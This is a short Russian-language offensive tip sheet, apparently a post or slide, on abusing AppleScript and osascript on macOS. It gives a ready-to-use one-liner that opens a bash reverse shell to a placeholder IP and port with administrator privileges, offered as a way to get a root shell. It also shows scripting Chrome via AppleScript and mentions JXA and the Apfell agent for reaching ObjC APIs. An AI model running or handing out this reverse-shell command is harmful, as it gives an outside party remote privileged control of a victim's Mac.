AppleScript — мощный инструмент.
Нужен root shell?

osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"

Нужен контроль над другим приложением?

osascript -e 'tell app "Chrome" to display dialog "Hello World"'

(В Mojave нужно дать доступ через меню «Accessibility»)

Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.

AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.

Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит do shell script